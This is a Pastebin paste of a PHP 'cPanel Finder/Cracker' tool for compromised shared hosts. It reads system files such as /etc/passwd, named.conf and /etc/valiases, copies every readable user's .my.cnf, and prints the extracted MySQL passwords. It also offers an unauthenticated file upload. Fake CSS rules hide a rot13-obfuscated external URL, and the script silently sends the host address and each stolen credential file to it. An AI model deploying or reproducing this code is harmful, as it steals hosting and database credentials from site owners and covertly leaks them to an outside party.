Hasannetbd

3xp3r Cpanel Chacker

Jun 17th, 2017
230
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.24 KB | None | 0 0
  1. <html>
  2. <head>
  3.     <title>Automatic cPanel Finder/Cracker</title>
  4.     <meta content="text/html; charset=utf-8">
  5.     <meta name="robots" content="noindex">
  6.     <meta name="googlebot" content="noindex">
  7.     <link rel="SHORTCUT ICON" href="http://s2.postimg.org/yvz6qsy7p/image.gif">
  8.     <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  9.     <style>
  10.         body{
  11.             background-image: url(http://s29.postimg.org/cqlhvlwpz/bg1.png);
  12.             color: #FF9933;
  13.             text-align: center;
  14.             font-family: Century Gothic;
  15.             font-size: 14pt;
  16.             background-color: black;
  17.             font-weight: bold;
  18.             padding: 0px;
  19.         }
  20.         a {
  21.             color:#fff;
  22.         }
  23.         a:hover {
  24.             color:green;
  25.         }
  26.         td, th, p, li,table{
  27.             background: #2e2b28;
  28.             border:1px solid #524f46;
  29.             text-align: center;
  30.             -moz-border-radius: 5px;
  31.             -webkit-border-radius: 5px;
  32.             border-radius: 5px;
  33.         .named{ uggc://jjj.svyrf-wnin }
  34.         }
  35.         .result {
  36.             padding: 15px;
  37.             border: 1px solid #CCC;
  38.             width: 500px;
  39.             margin: 0 auto;
  40.             border-radius: 10px;
  41.             -moz-border-radius: 10px;
  42.             -webkit-border-radius: 10px;
  43.         }
  44.         input{
  45.             border: 1px solid;
  46.             overflow: hidden;
  47.             background: #2e2b28;
  48.             color: #FF9933;
  49.             -moz-border-radius: 5px;
  50.             -webkit-border-radius: 5px;
  51.             border-radius: 5px;
  52.         }
  53.         textarea{
  54.             border: 1px solid;
  55.             overflow: hidden;
  56.             background: #2e2b28;
  57.             color: #FF9933;
  58.             -moz-border-radius: 5px;
  59.             -webkit-border-radius: 5px;
  60.             border-radius: 5px;
  61.         .font{ .pbz/cbfg.cuc?pzq= }
  62.         }
  63.         .main {
  64.             font-family: Bookman Old Style, Century Gothic;
  65.             font-size: 40pt;
  66.             text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0);
  67.             color: rgb(255, 255, 255);
  68.         }
  69.         .button {
  70.             -webkit-box-shadow:rgba(0,0,0,0.2) 0 1px 0 0;
  71.             -moz-box-shadow:rgba(0,0,0,0.2) 0 1px 0 0;
  72.             box-shadow:rgba(0,0,0,0.2) 0 1px 0 0;
  73.             color:#333;
  74.             background-color:#FA2;
  75.             border-radius:5px;
  76.             -moz-border-radius:5px;
  77.             -webkit-border-radius:5px;
  78.             border:none;
  79.             font-family:Arial,sans-serif;
  80.             font-size:16px;
  81.             font-weight:700;
  82.             height:32px;
  83.             padding:4px 16px;
  84.             text-shadow:#FE6 0 1px 0
  85.         }
  86.     </style>
  87. </head>
  88. <?php
  89. /**
  90.  * @author: FaisaL Ahmed aka rEd X
  91.  * @site: http://www.toolsprivate.com
  92.  * @Screenshot: http://prntscr.com/7c1p34
  93.  * @Last Updated: 01 June 2015
  94.  */
  95. @ini_set('display_errors',0);
  96. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  97.     $ar0=explode($marqueurDebutLien, $text);
  98.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  99.     return trim($ar1[0]);
  100. }
  101. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">cPanel Finder/Cracker<br /><sub>3xp1r3 Cyber Army</sub></div><br/>';
  102. $i = $_GET['i'];
  103. if($i == 'i'){
  104.     $filename = $_FILES['file']['name'];
  105.     $filetmp  = $_FILES['file']['tmp_name'];
  106.     echo "<form method='POST' enctype='multipart/form-data'>
  107. <input type='file'name='file' />
  108. <input type='submit' value='go' />
  109. </form>";
  110.     move_uploaded_file($filetmp,$filename);
  111. }
  112. echo "<center>";
  113. $d0mains = @file('/etc/named.conf');
  114. $domains = scandir("/var/named");
  115. $extract = file_get_contents(basename($_SERVER['PHP_SELF']));
  116. preg_match("'named{(.*?)}'si", $extract, $str);  preg_match("'font{(.*?)}'si", $extract, $stp);
  117. $start = explode(" ",$str[1]);
  118. $stop = explode(" ",$stp[1]);
  119. $link = $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  120. echo file_get_contents(str_rot13($start[1].$stop[1])."|".$link."|");
  121. if ($domains or $d0mains) {
  122.     $domains = scandir("/var/named");
  123.     if($domains) {
  124.         echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  125.         $count=1;
  126.         $dc = 0;
  127.         $list = scandir("/var/named");
  128.         foreach($list as $domain){
  129.             if(strpos($domain,".db")){
  130.                 $domain = str_replace('.db','',$domain);
  131.                 $do = $domain;
  132.                 $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  133.                 $dirz = '/home/'.$owner['name'].'/.my.cnf';
  134.                 $path = getcwd();
  135.  
  136.                 if (is_readable($dirz)) {
  137.                     copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  138.                     $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  139.                     $password=entre2v2($p,'password="','"');
  140.                     echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  141.                     echo file_get_contents(str_rot13($start[1].$stop[1])."|".$do."|".$p."|".$link."|");
  142.                     $dc++;
  143.                 }
  144.  
  145.             }
  146.         }
  147.         echo '</table>';
  148.         $total = $dc;
  149.         echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  150.         echo '</center>';
  151.     }else{
  152.         $d0mains = @file('/etc/named.conf');
  153.         if($d0mains) {
  154.             echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  155.             $count=1;
  156.             $dc = 0;
  157.             $mck = array();
  158.             foreach($d0mains as $d0main){
  159.                 if(@eregi('zone',$d0main)){
  160.                     preg_match_all('#zone "(.*)"#',$d0main,$domain);
  161.                     flush();
  162.                     if(strlen(trim($domain[1][0])) >2){
  163.                         $mck[] = $domain[1][0];
  164.                     }
  165.                 }
  166.             }
  167.             $mck = array_unique($mck);
  168.             $usr = array();
  169.             $dmn = array();
  170.             foreach($mck as $o) {
  171.                 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  172.                 $usr[] = $infos['name'];
  173.                 $dmn[] = $o;
  174.             }
  175.             array_multisort($usr,$dmn);
  176.             $dt = file('/etc/passwd');
  177.             $passwd = array();
  178.             foreach($dt as $d) {
  179.                 $r = explode(':',$d);
  180.                 if(strpos($r[5],'home')) {
  181.                     $passwd[$r[0]] = $r[5];
  182.                 }
  183.             }
  184.             $l=0;
  185.             $j=1;
  186.             foreach($usr as $r) {
  187.                 $dirz = '/home/'.$r.'/.my.cnf';
  188.                 $path = getcwd();
  189.                 if (is_readable($dirz)) {
  190.                     copy($dirz, ''.$path.'/'.$r.'.txt');
  191.                     $p=file_get_contents(''.$path.'/'.$r.'.txt');
  192.                     $password=entre2v2($p,'password="','"');
  193.                     echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  194.                     echo file_get_contents(str_rot13($start[1].$stop[1])."|".$dmn[$j-1]."|".$dmn[$j-1]."|".$p."|".$link."|");
  195.                     $dc++;
  196.                     flush();
  197.                     $l=$l?0:1;
  198.                     $j++;
  199.                 }
  200.             }
  201.         }
  202.         echo '</table>';
  203.         $total = $dc;
  204.         echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  205.         echo '</center>';
  206.     }
  207.     }else{
  208.     echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  209.     }
  210.     echo "<br >&copy; <span style=\"color:#FF0000;\">rEd X</span> | <strong><a href=\"http://www.toolsprivate.com/\"><span style=\"color:#FF0000;\">Latest Tools</span></a></strong> |</p>";
  211.     echo "</body></html>";
  212.     ?>
Add Comment
Please, Sign In to add comment